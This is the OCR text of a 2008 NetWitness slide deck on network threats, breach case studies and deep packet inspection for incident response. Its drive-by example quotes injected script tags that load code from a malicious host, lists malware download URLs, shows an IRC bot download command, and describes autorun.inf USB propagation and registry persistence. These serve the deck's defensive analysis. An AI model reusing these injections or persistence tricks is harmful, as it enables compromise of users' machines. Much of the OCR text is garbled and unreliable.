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Agenda

* Observations on the current technical threat environment
and what we can do to improve security during
operations

* The need for “active threat intelligence” and a new
approach to network security monitoring including
deeper inspection of network traffic

« Technology illustrations and specific cases
* Final thoughts and Q&A

7/23/2008 Copyright 2008 NetWitness Corporation 2



o

Organizations Are Being Slammed
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March 28, 2008 (Computerwverld) Hannafoerd Bros, Co. disclesed this week that the intruders who stole up
to 4.2 million credit and debit card numbers from the grocers systems did so by planting malware
programs on servers at each of its stores in Mew England, Mew York and Florida.
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Rapid7 Customers Rapid7 Customers

Many companies have realized the benefits of using NeXpose for their vulnerability
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Many companies have realized the benefits of using NeXpose for their vulnerability
management solution. NeXpose gives all our customers a simple, but powerful solution

management solution. MeXpose gives all our customers a simple, but powerful solution
that protects their IT assets from being compromised.. . « = $Q E+| me ‘

that protects their IT assets from being compromised

Source: iDefense

E Institutions Retail Educational Institutions Retail
Calfornia State University - Fulerton Beauty First Calfarnin Sizts Lniveratty - Fullarion Beauty First
Caifornia State University Casual Male Calfornia State University Casual Male

Channel Islands Ghennel [alande Brookshire Brothers

Carnegie Melion University Carnegie Mellon University Charming Shoppes

Brookshire Brothers
Dellar Trae Stores \V 'F.

Charming Shoppes
Dollar Tree Stores
! College of Staten Island (CUNY) Frutt of the Loom

Fruit of the Loom
s ? ?

Hannaford Supermarkets

Harris Teeter Food Markets

Citrus Community College Citrus Community College

College of Staten Island (CUNY)

Fanshawe Colege Fanshaws College * + Harris Teeter Food Markets

Florida International Universty

Florida International University Jenny Craig

Florida State University Meakdardorm
. Snapshot via local web browser on March 17th, 2008

Florida State University Jenny Craig

S N snapshot via google cache on March 9th, 2008 [
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Unseen Adversaries...

e TJX:

— Use of WEP protocol led to the ability of hackers to target at
least two of their sites and gain internal network access

— TJX should have been using WPA or VPN in accordance
with “best” practices — but, with hundreds of stores, there is

an inherent challenge

— Hackers exploited vulnerabilities to place malicious code on
TJX servers and used this platform to achieve desired goals

 Hannaford:

— Retailer was in compliance with PCI DSS 1.1

— Malcode placed on actual POS servers — credit card number
captured at point of acquisition and sent out of company

7/23/2008 Copyright 2008 NetWitness Corporation 4
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Nation-State Operatives

E-SPIUNAE

A BUSINESSWEEK INVESTIGATION

The LS. military
created the Internet.
Bow the Web may be
turning against its
¢ maker. As America
fights to protect itself,
we uncover startling
niew instances of cyvber
spies targeting the

and trace
the path of a pernicious
attack aimed at defense
consultant Booz Allen,

COVER STORY: THE NEW E-SPIONAGE THREAT

A BusinessWeek probe of rising attacks on America’s most sensitive computer networks uncovers startling security
gaps

By Brian Grow, Keith Epstein, and Chi-Chu Tschang

The e-mail message addressed to a Booz Allen Hamilton executive was mundane—a shopping list sent aver by the
Pentagon of weaponry India wanted to buy. But the missive turmned out to be a brilliant fake. Lurking beneath the
description of aircraft, engines, and radar equipment was an insidious piece of computer code known as “Poison lvy”
designed to suck sensitive data out of the $4 billion consulting firm's computer network.

The Pentagon hadn't sent the e-mail at all. Its origin is unknown, but the message traveled through Korea on its way to
Booz Allen. Its authors knew enough about the “sender” and “recipient” to craft a message unlikely to arouse

suspicion. Had the Booz Allen executive clic CTITETL, gystroke would have been reported
back to a mysterious master at the Interneaddress cybersyndrome. 3322 arg, which is registered through an obscure
company headquartered on the banks of Chifre=aongize Hiver

The U.5. government, and its sprawl of defense contractors. have been the victims of an unprecedented rash of
gimilar cyber attacks overthe last two years. say current and former U.S. govemmeant officials. “It's espionage on a
massive scale.” says Paul B. Kurtz, a former high-ranking national securty official. Government agencies reported
12,986 cyber security incidents to the .5, Homeland Security Dept. last fiscal year. triple the number from two years

arlier. Incursions on the military’s networks were up 55% last year, says Lieutenant General Charles E. Croom, head of the Pentagon's Joint Task Force for Global
etwork Operations. Private targets like Booz Allen are just as vulnerable and pose just as much potential security risk. “They have our information on their networks.
hey're building our weapon systems. ¥ou wouldn't want that in enemy hands,” Croom says. Cyber attackers “are not denying, disrupting, or destroying

Copyright 2008 NetWitness Corporation 5
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USG Security Breaches

9 (_:BS JN EW S May 8, 2007 9:12am

Home | U.S. | World | Politics | SciTech | Health Entertainment | Business | Travel | Opinion | Strange N

* Invisible Threats?
— Spear phishing attack against

CES Evening Mews [ watch How | | The Early Show | 48 Hours Mystery | 60 Minnes | CBS News Sunday Mornli

. SEARCH | Stories v || || seancu | »show Search Options « Ses
end users as entry point due to s
good network layer perimeter , —
1 EMAIL | = PRINT | o® DELICIOUS | Double-click any word {What’s this?)

security

- End user Weaknesses to SOCiaI U.S. Main Page VWASHING 1 ON, July 11, 2006
engineering permitted initial e o

Reporter's Notebook

e n t ry p O I n tS Audible.com Downloads

U.S. Video

— Lots of important data stolen by S
foreign operatives
WIRELESS NEWS & ALERTS |

— Indicative of a government-wide = |
problem as well as a problem  Failure to detect “invisible

seen in critical infrastructure threats”:

— non-HTTP traffic over standard
port 80

— non-DNS traffic over standard
port 53

— non-SSL traffic over standard
port 443

State Department Computers Hacked

Large Scale Computer Break Ins Appeared To Target Specific Offices

{CBS/AP) The State Department

3 IS recuveEring murn ldrge-sedle
A computer break-ins worldwide
over the past several weeks that
Appewred o largel ils
headouarers and ofices dealing
wiith China and Borth Korea, The
AssUridiEd Fress hids ledmed

Investigators helieve hackers
stole sensitive LLE. information
and pasewards, gaid LS.
officials familiar with the hacking.
Wihoewer did the hacking

{CBS/AP)}
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Electronic Criminal Groups: Rapidly Emerging Underground
Industry (several examples of successful large scale
operations)

— Organization: High

— Capability: High

— Desire: High for financial gain, unknown otherwise

Nation-Sponsored Activities: From Intelligence Gathering to
Network-Centric Warfare (Chinese Information War: Theory
and Practice / aka “Dragon Bytes”, Sandia, DoD, State Dept,
DHS, Germany)

— Organization: High

— Capability: High

— Desire: Connected to national policy
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 Reconnaissance — Network mapping and critical data
asset identification

« Exploit/Attack — Gain Access

« Command and Control — Establishment of a deep
foothold. Install malware, toolkits and politely patch too

* Ongoing Operations — Broaden communications within
victim networks for a variety of purposes

« Data Exfiltration — Data taken out of the network in drips
or in buckets

« Cleanup — Good adversaries do not leave you a lot of
clues and remain invisible to your current sensors

Copyright 2008 NetWitness Corporation 8
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« Wireless, Web 2.0, SOA, mobility, XML, RFID, connections to everyone
« Transient user/partner base, supply chain, globalization, digitization

« ALL THREATS ARE ALREADY INTERNAL
* ALL EXPLOITS THAT MATTER ARE T MINUS 21 FROM ZERO-DAY
HAVE A NICE DAY

« Largely perimeter-based, largely external threat focused

« Largely signature-based/obsolete by definition against
advanced threat (consider STORM: a daily polymorphic,
self mutating, encrypted, P2P, worm Trojan with
compartmentalized botnet functionality)

* No definitive host integrity for foreseeable future (HIPS,
NAC, all good stuff, but many complex and imperfect)

* Log and flow-based monitoring relies on the above
(GIGO)

Copyright 2008 NetWitness Corporation
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Internal Drivers Are Powerful

« QOrganizations also face important internal control issues:
— Requirements for protection of PIl, PHI, R&D, classified data
— Ongoing HR and legal problems and concerns
— Statutory, regulatory and policy compliance requirements
— The need to detect counter-competitive behaviors

 In addition to the potential compromise of internal
technology assets, the internal people factor is powerful
too:
— Disgruntled employees
— Employees misusing I/T assets
— Criminals
— Espionage
— Mistakes

Copyright 2008 NetWitness Corporation 10
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Threat Summary

« External adversaries, well funded and very serious,
understand your defenses and are working around them

* Your organization is subject to many weaknesses
Inherent to new technology adoption, bugs, process
gaps, and irresolvable end user weakness

 The most important threats today may be invisible to you
given current network monitoring approaches

* This threat environment implies that most organizations,
in spite of varying degrees of preparedness, must
assume that malcode will be present

* |n order to protect your organization, you have to shorten
the time between the moment an event or an attack
occurs and the time you know about it

Copyright 2008 NetWitness Corporation 11
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The Need for A New Approach to
Network Monitoring

Active Threat Intelligence
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What is Active Threat Intelligence?

* A new way of thinking about network monitoring for incident
responders / investigators, threat analysts, auditors and others

» Reconstruction of network events to provide active threat
intelligence into actions and behavior

« What unique information might we obtain from next generation
security monitoring?

— Why are the certain transaction types or inquiries on our network new
or so prevalent?

— How can | be sure this IDS or SIM event is a false positive?

— What is the magnitude of this incident? What other systems and
traffic is implicated?

— Who is using policy evasion technologies (e.g. TOR, PGP, etc.) to
transfer files out of our network and to avoid audit or detection?

— Which employees are doing X, Y and Z relative to our goals?
— Who communicates with our competitors the most and how?
— How is any class of data leaving our organization?

Copyright 2008 NetWitness Corporation 13
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Technical Requirements

 Record, decode and index all
network traffic at critical ingress /
egress points and within key
communities of interest

« Fusion of 3 party intelligence
services to understand the
reputation and characteristics of
network and application behavior

« Automate the view of network traffic
so you are not focusing on IP
addresses and ports, but on . .
reconstructed conversations, Tap / Span

actions and behaviors ‘4 ‘4 ‘4

* The world should not look like hex
Live Network Capture

and IP addresses if you do this right

Copyright 2008 NetWitness Corporation 14
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What is Session Analysis?

« Typical methods

— Port based identification
example: Port=80 is web traffic

— |IP based identification
example: IP=216.178.38.116 is
myspace

Time Service Size Events

g/22/2004 15:20:29 IRC 3,267 ig ag.0.0.142 ¢ 1090

_% Login

£ Attach
VETIIEUIO e Jm 2 attach
2 Attach
2 Send To
£ Send To

2 Send To

« Port agnostic method

— If packet contains IRC structure in the
payload then it IS IRC traffic

— Increasingly traffic is designed to run
over common ports such as 80, 443, 53

— Increasingly traffic is encapsulated

211 .232.23.135 : 4564

qw|nt-13242
fullmarne: gw|nt-37213
ml rme: gqw|nt-37218

#nt
password: shabby

ot hllll“hlfullll rlh'
password: shabby123 Ii}h M PI E“IE"

#nt

password: shabby123

#nt

rmessage: downloading http:ffatlas .walagata.corm/w/onekill/shat.ex
#nt

message: downloaded 30.5 kb to cifsys.exe @ 30.5 kbisec,

#nt

message: opened cifsys. exe,

b i

114331811118 yLl
L -y [ -y T - T - L - T

Copyright 2008 NetWitness Corporation 15
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Example #1.

Drive-by-Exploitation

 Whatis a “drive-by?”

* In early 2008, more than 10,000 hosts
were compromised —The attackers
embed code to silently redirect users
to malicious web sites hosted around
the world. This trend continues today

 Difficult to prevent and tough for many
organizations today to determine
scope of threat and loss
« Stay alert for:
— Cross-site scripting
— zero-size IFRAMES

— malicious downloads (i.e. “exe” and
obfuscated JavaScript)

— non-standard traffic appearing over
various ports

— Dynamic DNS

DATE: June 18, 2008

da rk R EAD l N G LIvE EVENT: Broadband Wireless World
#

More Information

sssssssssssss

HOME | NEWS | OPINION | VIDEO | TALK | EVENTS | JOBSEARCH |

Home > Dark Reading News Anabvsis = Application and Perimeter Security

Major Security Vendors' Sites
Could Be Launchpads for
Phishing Attacks

McAfee, Symantec, and VeriSign sites all found to contain
cross-site scripting flaws

JUNE 10, 2008 | 10:45 AM

By Tim Wilson
Site Editor, Dark Reading

With all the talk about hackers launching attacks from legitimate Websites, you'd
think that the major security vendors’ sites, at least, would be vulnerability-free.

Mot 5o, according to a report issued yesterday by a security watchdog site.

The site, X55ed, states that it has verified some 30 cross-site scripting
vulnerabilities spread across the Websites of three of the industry's best-known
security vendors: McAfee, Symantec, and VeriSign. The vulnerabilities could make it
possible for attackers to launch phishing campaigns from these sites or even
distribute malware to the companies’ customers, according to XSSed.

Recent studies have shown that Web-based attacks are increasingly being
launched from trusted, legitimate sites, rather than from hastily created sites and
servers built by the attackers. By exploiting vulnerabilities in legitimate sites, the
attacker gains credibility for phishing or malware links and bypass security tools
that blacklist known phishing sites. (See 58% of Malware Mow Found on Legitimate
Sites and Hack-and-Pier Phishing on the Rise.)

The new X55ed report shows that the big security vendors’ sites are no exception
to this trend, said Kevin Fernandez, one of the founders of XS5ed. "It shows that any
company can be infected with XS5 he says. In fact, some attackers have
specifically targeted their vulnerability searches on sites such as McAfee,
Symantec, and VeriSign, looking on them as a particular challenge, Fernandez
Says.
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Detecting an Initial Problem Area...

I NetWitness Informer :: Dashboard - Mozilla Firefox = |

File Edit View History Bookmarks Tools  Help

<E| T - @ /IJ} ||_| http:/f192.168.155. 129/MwR eporterieblDef ault, aspx |‘| P] "|Google b,

# cetting Started E,' Latest Headlines Google Google

User, Demo

Dashboard Define Schedule Wiew Tools Admin Help x ‘I i

Nonstandard Traffic Threat Intelligence Recent Reports |

M"'_ 04:44 PM - Potential Data Leakage
(@] % 04:43 PM - Phishing Profile

(@] % 04:21 PM - Highlighted Country
&l'ﬁ_ 0<4:05 PM - Google Search

Threat Intelligence &i"_.'__' 04:05 PM - Protocal Utilization
g‘(:?:liam (@] % 04:05 PM - Tunnelling

(@] % oa:00 M - PCI

See Al

| alert summary | Recent alerts |

16:41:47.1867 Info Hosts

16:41:46.8430 Tor Usage

16:41:46.5617 Cleartext Passwords over FTP
16:41:46,3586 Users Downloading MP3s
16:41:46.3117 Users Downloading MP3s

16:41:46.2805 Users Downloading MP3s
16:41:45.9211 IP Addresses Using IRC

16:41:45.7180 Users Downloading torrent
2:00 pm 2:33 pm 306 pm 2:40 pm 1
2116 prm 2:50 pm 3123 prn 3156 Files

1. A PE ANOT Trfo Hocke

Assumption:
you are
performing full
packet capture,
port agnostic
decoding and
session
analysis

In this case, the
existence of a
notorious
DYNDNS is
particularly
concerning...

Copyright 2008 NetWitness Corporation
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Other Problem Areas

) Netwitness Informer :: Dashboard - Mozilla Firefox == x|
File  Edit Wiew History Bookmarks Tools  Help
<:.E| - = - @ /IJ} | |_| http:fflocalhostwReporterweb/Def ault, aspx | hi | [}] "|G00gle \\]

’ Getting Started E,' Latest Headlines & MetWitness Informet...

a o 8 00 _0og

2:002:1682:332:003:063:233:40
prm prmo pmoprnopmopropr

Recent Reports

M“_";' 04:44 PM -

(@] %% oa:az pm -

Potential Data Leakage

Phishing Profile

EXE Download Top Ports to, g Countries
25 300
20
200
15
in
100
=1
m \
La A
o o o o8 ‘m

2:002:162:332:503:063:233:1 40
prn prn P prmoprne prne pro

2:002:162:332:503:063:1233:40
prn prn prmoprmoprn prnopr

(@] 04134 PM - Test Rule

(@] 04:21 M - Highlighted Country
M“_ 04:05 PM - Google Search

o | . e .
&l _~ 04:05 PM - Protocol Utilization
(@] 04:05 PM - Tunnelling
(@] o4:00 M - PCI

See All

alert Summary

Keyword Google Search
) -

Skype Logins
5

BitTorrent Sites
& =

Recent Alerts

Most Active Alerts

()

Alerts
Cleartext Passwords over FTP
XM alue: 120

i
[+ see an

=1
1.5 1.5
4
1 9 1.0 = =0 ]
2 o0 o0 &
0.5 0.5
1
a C u} u}
2:002:162:1332:502:063: 233140 2:002:162:332:502:063:1 233140 2:50 pm 3123 pm
Dane

lt,‘ Startl I@ NetWitness Informer ...

S 4138 PM

Let’'s look at the data...

« Once the dynamic

DNS activity is
discovered, other
suspicious activity
occurring around
the same
date/time stamp
can easily be
mined and charted

The threat
intelligence model
matures as
adversarial trends
are further

understood and
codified
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 Chinese site

a The 2004 Report on Scientific Development - Microsoft Internet Explorer =& 1[
File Edit Wiew Favorites Tools Help | # .
@Backva @ @ ¢ pSearch %Favorltes : |Bv% @ 'l_Jﬂ gigﬁ ..‘ﬁ hOStIng Sol I Ie
Adhess [{8) TR b whathe N/ S e B s »
L]
» Users arrive there
MNews
| by many means
The 2004 Report on Scientific Development
L]
-  Embedded in the
1 The 2004 Report on Scientific Development is the seventh of such maonographs of the Science
and Society Series published by CAS. The report is prefaced by an aricle entitled Some
Considerations  on China's — . . .
S&T Development, in which SI e IS a Scrl p
CAS President Lu 2004
Yongriang  makes an  in- .
depth and rational analysis 8) %o J & See n I n m a n
of the development of .‘ "
science and technology in ‘ =
China. Science Development Report .t tl
This  annual  report s ‘4’ Lﬂ "F:I"f-'f—' FP'?. SI eS recen y
camposed of nine chapters.
The first chapter, Science in
Past and Future, starts with
an  aricle by Minister of
Science and Technology Xu . |
ii
[&] pore l_l_l_l_l_ & Internst
7/23/2008 Copyright 2008 NetWitness Corporation 20
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Pervasive Deployment of Malcode

B caispm.ac.cn-english-WhatNew-News-2004030803-htm-source. txt - Notepad

File Edit Format Wiew Help
</ DIV -~
<div align="center"> B
<Centers
<TABLE width=773 border=0 cellradding=0 cellspacing=0 class="tahlegorderd” style="border-collapse: collapse;
background-color: #FFFFFF" bordercolor="#111111">
<TBODY>
<TR>
<Th height=2 align=middle walign=center bgcolor="#CoCCoC" width="767"></TD>
< /TR
<TR>
<Th class=tablebodyl align=middle height=60 width="767" style="background-color: #FFFFFF"><div
align="center"><FoNT
face="wverdana, arial, Helvetica, sans-serif":&nbsp;&copy; 2003 </ FONT>
<font face="arial"sInstitute of Policy and Management, Chinese Academy
of sciences. all r"lghts reserved&nbsp; &nbsp; Tele:</font>£ 010£062542623<BR>
<font face="arial"=address: Beijing Haidiangu zhongguancun bonglu
MOL 55, Mailbox 8712&nhsp;&nbsp; &nbsp; Post Code:l00080 <hr:
</font>
< i</ TD>
</ TR>
</TBODY >
</TABLE>
</centers
< iy
</hody>
—irrrcrrrr
gscript language= javascrwpt src= http //www 333292, cam/cbm
WUI]AADIJA(_uuqu et IILLp
<script 'Ianguage javascrwpt src http //www 333292 cam/cb Js></scr'|pt>
A0-OREKMF i@ [L 2 A Doa
<script ]anguiEERER PRy Gnuyll: Search Wlndnmxln‘(.lmﬂ!lplnmr (=]
jgg;j‘gg 1;2%3 @ Il it v, oo comisearchitimentiam 300252 com b f b 15 |42 | % Rl
<script langul se es vew Fpomes Toos bk R~ e Pk Pt inko's [ o =
W & [ - o Search firer - B - | Ewe - Tk - =
Web |mages Maps Meves Shoopng Goal mom v Smnin
GOL)SIE 333292 camich s Search | sducsi i

Results 1-10 of sbout 10,700 for 333292.comich js [0.2% seconds)

oy 333292, com.lc
312292.cam

CEL | B-6iF W1 B 8- www 333292.comich.js> C¥5 | ..
CHD BBk REE 1WEnp 3NN Lcomichjs> CHE RIEE &)ER 40
323292.comich.] T '

3 33292 cum.lt:h jar  C K.
g K LAY 758G )h’\

&

@ Internet 0 -

* The site displays the
presence of the bad
script

« Searching for the
hosting site turns up
over 10,000 Google
hits

Eegistrant Contact:

li=s hang

shang 1li lishang@lée3.com
+86.6682293277 fax: +86.66822882654
gyeee

gyeese Shanxi 525000

CIl

Bdministratiwve Contact:

shang 1i lishang@le3.com
+86.6682293277 fax: 4+86.6682288654
gveee

gveee Shanxi 525000

cn

7/23/2008 Copyright 2008 Netw
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Exploits Placed on Victim Host

£ Fiddler - HTTP Debugging Proxy — |EI|1|
File Edit Rules Tools Wiew Help
Web Sessions . << 1 Request Builder | Filters I Rules2 I
# I Result I Protocal I Host I HRL I Bod I Caching I Cor s Gallery I Timeline | Performance Statistics  Session Inspector I AutoResponder I
1. 204 HTTP w, google com furlPsa=Téct=resicd=1&, 0 private kexl = = = -
o 1. sa2 HTTR v, xjhmit.com  fdisp. php?1D=1267 517 bl Transformer | Headers | TexkWiew | SynkaxView | Irnageliew | HezxMiew |
[#1... =200 HTTP wn, google.com 5,922  private bel W ebliew | Auth | Caching | Privacy | I Faw | wML |
@ 1... 200 HTTP w, google.com  fsearchrhl=enfig=byte+&... 18,948 private kel HTTP#1.1 200 0K -
) ) =, —ri i | Content-Length: 1157 —
1 200 HTTP w, google. com  feearch?hl=enfg nlbb!e+ 21,255 pr?\rate bex eee—Toies | e ai
1. 200 HTTP ww, google, com feearch?hl=endig=5+bits+ 20,244 private kel Last-ModiTied: wed, 1& Janm 2008 17:06:56 GMT
- . . . ~ . ACCept-Ranges: bytes
._] 1. 200 HTTP img.woutube, com  fwifcalBKOzkAor 2, jpg 3,528 max-ag... imal ETag: "078a8326258C61: 895"
200 HTTP v, google, com  fsearch?hl=endig=5+bits, .. 20,740 private kel Server: Microsoft-IIS/ s.0
EI 1. 200 HTTP v, google, com feearchg=S%Z2www, 333, ., 21,269 private bext— E(;Eg"?'e.:.:,gg:ag's ?gﬁ' ;EEB 1122104 GMT
@ 1... 204 HTTP w, google com  furl?sa=Toct=resfrcd=14. .. 0 private kexd
) ) 0o
@ 1... 200 HTTP vy, casipm. ac.cn fenglishfwhatMewfews), . 7,955 kel £D=H1ttp 2/ feanin. 332292 . comsdown #L. exe
ft1.. 4w HTTP vy, casipm,ac.cn  fchinesefstyle, css 1,320 texd E%iﬂ‘é‘épf//m-gggggg-ggmﬁggwgig-Eig
=1 200 HTTP wnany, casipr.ac.cn fenglishfIMAGES ipmlogal. .. 7,630 ima E;;httggﬁwj 333353, comj:downj:‘;j —
\Casiom. ac, i il | eq4=http: /i, 222292 . com,/down,/s . exe
F g 404 HTTR ALY cas!pm ac,cn ,|'|mag.es,l'Forum_na\j' aif 1,320 Fex ST Lns " Fuihr. 332295 . Com 7o’ 7e . exe
™1, zoo HTTP v casipm,ac.cn fenglishfWhatMewfimages,.. 36,579 i EE=NTER: AAwm, 333292 . Com/down /7 . exe
; L33329z2. comSdown /S, exe
@1... 200 HTTP v, 333292, com fobjs 7,065 app (222707, com/dawnys, exe
@1... 200 HTTF userl, 3332210, net  [ms0E014.is 1,092 app .333292. com/Sdown,10. exe
e L333292. comsdown11. exe
_}1... 200 HTTP userl, 3332210, net  fbak.css &, 045 kel 1333252 Comfdomnylz . exe
ft.. HTTP v, 333292, com [ob,jsI%C3%E0%CI%EZ. . 1,334 =53] L3372592. comSdowns13 . exe
& _ 333292, comfdowns14. exe
o 333292, comfdown 15 . exe
El1.. HTTP W, 333292, com fdown(l,exe 18,540 app .3332292. com/down 16, exe —
El1... HTTR v, 333292.com  Jdown(2.exe 18,546 app o e
El1.. HTTR v, 333292, com fdown)'3 exe 17,566 app -gggggg-comfg'iw”f%g-exe
E1.., HTTR v, 333292,C0m  [dowinj4,exe 17,500 app e
, , , .3332592.comydown 22 . exe
El1 HTTP i, 333292, com fdown(S.exe 33,585 app - 1333395 Com o s3 . oxe ;I
| iew in Notepad I
@ Capturing |—| hitbpe f i, 333292 comfhost . bxk v

« Multiple binaries are downloaded to the client,
successful, e.g. MDAC (MS06-14) and recent Real Player exploit

if exploit is

7/23/2008

Copyright 2008 NetWitness Corporation
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&' Registry Editor

Mods to Windows

File Edit Wiew Favorites Help

Registry, etc.

[

[
[E
[
[

Frem O O o O e e O e O e B e O O B

[ B B s W e e O e B O e B

[
[
[

[

FE-{200 HKEY _CU

KT I

7-_] ushehci ;I
#-(_1 usbhub
£-_7 USBSTOR
7-_7 usbuhci
b-_7 YgaSave
-] Vialde
- YMMEMCTL
f-7] vmmouse
b-_7] vmscsi
/-] ¥MTools
f- vme_svaa
i
7-_7 volsnap
R

f-(1] W3z2Time
R
7-_] Wanarp
(] WDICA
77 wdmaud
7-(_7] WehClient
7-_ ] winmgmt
£-_ 7 Winsock
7-(_7] winsockz
/-] winTrust
7- WndmPr3h
£- Wi

#-_7] WiapRpl
7-_] WmiapSry
--(] Wws2IFsL
£ wscsve
]..a m
-] WZCsve
£- xmlproy

{27 LastknownGoodreo
[ MountedDevices
- Select

B Setup

-0 wRa

-0 HKEY_USERS

RRENT_CONFIG "o
3

=]
Mame Tvpe | Data
(DeFauIt) REG_SZ {value nat set)
Description REG_5Z Oooooon0windows 0O0O0OOOOOOOOO...
Displayr\lame REG_SZ Automatic Updates
ErrorControI REG_DWORD 000000000 {0}
ImagePath REG_EXPAND_SZ “oSystemP oot system32  driversisvchost. exe
ObjectName REG_52 LocalSyskem
Start REG_DWORD 000000002 {2}
T‘y’pe REG_DWORD 000000110 {272)

« To ensure persistence, the

Malcode also creates

modifications to registry for

Windows Update service to point
to hidden / trojanized svchost.exe
program

|Mv Computer\HKEY_LOCAL_MACHIMEVSYSTEMYCurrentControlSet)Servicesiwuausery

23
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And Also...a USB Autoplay Exploit

B 011 62008_cb_js_autorun_USB_malware.txt - Notepad

File Edit Format Miew Help - ¢ AnOther propagation

File: autoRun.inf Proxy Settings X “ ”
MDS: ca7aB8hizac2c64a2785Tha28c13a7ca — feature” detects
S-II ze: 83 | & Type Proxy address ko use Port

Ascid Strings: A [hz7.00.1 | saes removable media and

HTTP:

[autokun] B - places autorun.inf and
ellexecute=setup. exae

| |
| |
Dﬁen=set up. exe e s ]
= | |

ks:
chel1%aut o\ command=setup. axe o |

setup.exe in the root
_ [Juse the same proxy server For all protocals .
i Gr.nup I:n:icy . d I re Cto ry

Exceptions

Fll=  Action Wiew Help

L B Do nok use proxy server For addresses beginning with:

e~ | &m @ Gg ° Many machines do not

:—j I__ocal Computer Poll.cy ) = System
[=] Q Computer Configuration
# ([ software Settings Use semicolons ( ; ) ko separate entries, ave e CO rre C

+1- (1] Windows Settings Turn off Autoplay =il

- (L1 Administrative Templates . ~ [(3Error Reparting . R
%3] Windows Companents Display Properties [Cwindaws File Protection QK l [ Cancel ] S e C u rl t O I I C S e | e Cte d
+ 42 System Requirements: [Cdremate Pracedure Call y p y
+- (L1 Metwark At least Microsoft Windows 2000 (Cwindows Time Service I

D Printers DInternet Communication Management

- i v Gorfroon DT ey ore, || ot Con * Once run, the program

+-[] Software Settings @Restrict potentially unsafe HTML Help Functions to specified Folders Mot configured

+1- (1] Windows Settings Autoplay beg\ns_ reading fr_on_ﬁ a drive @Do ot display Manage Your Server page at logon Mot configured .
+- [ Administrative Templates | 35 5000 as you insert media in the % Display Shutdown Event Tracker Mot configured
drive, As a result, the setup file of i .
programs and the music on audio @nctwate Shutdown Event Tracket Systan State Data Faature Mak configured
media start immediately. @Enable Persiskent Time Stamp Mot configured
By default, Autoplay s disabled on ﬁspec!fv W!ndows |nsta.llat|0n file Iocatlo.n . . Mot CUHF!QUVEC' I I I I I a n d I I I I I S
removable drives, such as the floppy @Speclfy Windows Service Pack installation file location Mot configured
disk drive {but not the CD-ROM ﬁRemDve Boot | shutdown | Logon | Logoff status messages Mot configured .
drive), and on network drives. @Verbose vs normal status messages Mot configured S e rv I Ce S re S u I I l a b I
1 you enable this setting, you can 3 @Restricthese programs from being launched from Help Mot conigured )
also disable Autoplay on CD-ROM Turn off Autoplay Mot configured -
gr?-._.-es or disable Autoplay on all @Do ok aukomatically encrypt files moved to encrypred Folders Mot configured to Ca tu re S e n S Itl Ve
Thves. £ Dawirload missing COM companents Mot configured

This setting disables Autoplay on @AHDW Distributed Link Tracking clients to use domain resources Mot configured

. . .
additional types of drives. .'T'DU cannot @Do naot burn off system power after a Windows system shutdawn ... Mot configured f I I I t M I T M
Esf this 5?_"’!19 @o_entable HUtDFIa"' on @Turn off Windows Update device driver search prampt Mot configured — I n O r a I O n V I a a

drives on which it is disabled by b

% Extended A Standard atta Ck

7/23/2008 Copyright 2008 NetWitness Corporation 24
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Summary

« This is a RAT (remote access Trojan) that beacons to
nb11-3322-org (dots replaced with dashes; it's a dyndns
provider in the PRC) over TCP 80

* It hijacks the Windows Automatic Update Service
(wuausrv) by modifying registry entries to point at the
malware

It has the capability to exfiltrate (via TCP 80) files,
download updates or additional malware, and log
keystrokes

|t can propagate via removable media. Once infected,
the malware places two hidden files (hidden attribute
turned on for the files - "autorun.inf" and "setup.exe") on
the root of the device

7/23/2008 Copyright 2008 NetWitness Corporation 25
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Example #2: BBB SpearPhishing

fj Salesforce.com Acknowledges Data Loss - Security Fix - Windows Internet Expl - Dlﬂ
. . . @:: - I 'i http:,l’,l’b\ug‘washingtunpust.cumfsecuntyﬁx,iZDU?p’lj 4| X IGDUg\e L~
[ I , =
L4 O bJ e Ct I Ve ro a Ctl Ve W ™ salesforce,com Acknowledges Data Loss - Security Fix | | @ - [ v v rPage v ) Todls < ?
[
e Wasbington Post

WaShingfonpostcom Sign In | Register Now

threat management:

« Salesforce.com gets
owned

« “BBB” Phishing ensues
from stolen email
addresses

« Was | hit? Did something
sneak through my email
filters? If so, who? How?

« Scope and magnitude of
compromise?

1

Print Edition | Subscribe

SEARCH: |-

Subscribe to The Post

RECENT POSTS

Social Networking
= Accounts Prized By
Cybercrooks

. RedBox Warns of
Credit Card Skimmers

Opera Updates and a

= Black Tuesday
Preview

. Beware Targeted Data-
Stealing Tax Scam

Consumers Report
= §239 Million Lost To
Cyber Fraud In '07

Stories by Category
= Fraud

= From the Bunker

= Latest Warnings

= Misc.

= New Patches

= Piracy

« Safety Tips

» U.5. Government

Stories By Date
» Full Story Archive

RELATED LINKS

The Archives

Security Fix Live: Web
Chats

About This Blog

washingtonpost.com > Technology

@ & washingtonpost.com € Web: Resulis by GOOGIE™ | Sear

SECURITY FIHy

Brian Krebs on Computer Security

About This Blog | Archives | EZINRSS Feed (What's R2S7)

Salesforce.com Acknowledges Data Loss

Business software provider Salesforce.com acknowledged that a recent
spate of targeted e-mail virus and phishing attacks against its customers
resulted from one of its own emplovees falling for a phishing scam and
turning over the kevs to the company's customer database.

On Oct. 19, Security Fix reported that pavroll giant Automatic Data
Processing (ADP) and several banks -- including Suntrust -- were
among a number of institutions that were victimized by a series of highlv-
targeted phishing scams that addresses recipients by name and asked them
to click on a link - which tried to download password-stealing malicious
software. A Suntrust executive alleged that the scammers obtained their list
of Suntrust customers via a data compromise at Salesforce com.

A Salesforce.com executive would not answer direct questions about the
incident at the time. Salesforce.com data also was implicated in a pair of
targeted malware attacks that appeared to have been sent from the
Federal Trade Commission, an attack that installed password-stealing
software on PCs of more than 500 victims.

Now. in an e-mail sent Monday to nearly a million customers.
Salesforce.com is finally owning up to a data loss.

o

|http 1wy washingtonpost.com)?nav=globaltop

[T T T 53 @ mtemet ,100%,

T 4
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Favored Attack Approaches - Email

* One of the primary attack vector favored by adversaries is
email; all organizations need to communicate with the outside
world; it is the soft underbelly of most networks

— AV cannot protect against what it does not know about;
sometimes a vulnerability itself

— Use of client-side exploits by attackers have increased
substantially

— For example, malicious payloads embedded in innocuous-
looking email attachments — Microsoft Word, PowerPoint,
Excel, etc.

— Only atiny amount of code execution necessary to contact an
external system & download and install more sophisticated
malware

« Low risk, high probability of success; all it takes is one user on
a vulnerable system

7/23/2008 Copyright 2008 NetWitness Corporation 27
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« Two company executives (Company President & Vice
President) at NetWitness received emails claiming that
complaints were made against them and the company

« Email instructed recipients to open Word attachment for
Instructions on how to resolve the complaint
(“Document_for Case.doc”)

« Executives identified emails as suspicious and did not
open
« Attachment analyzed using virtual system (VMWare) and

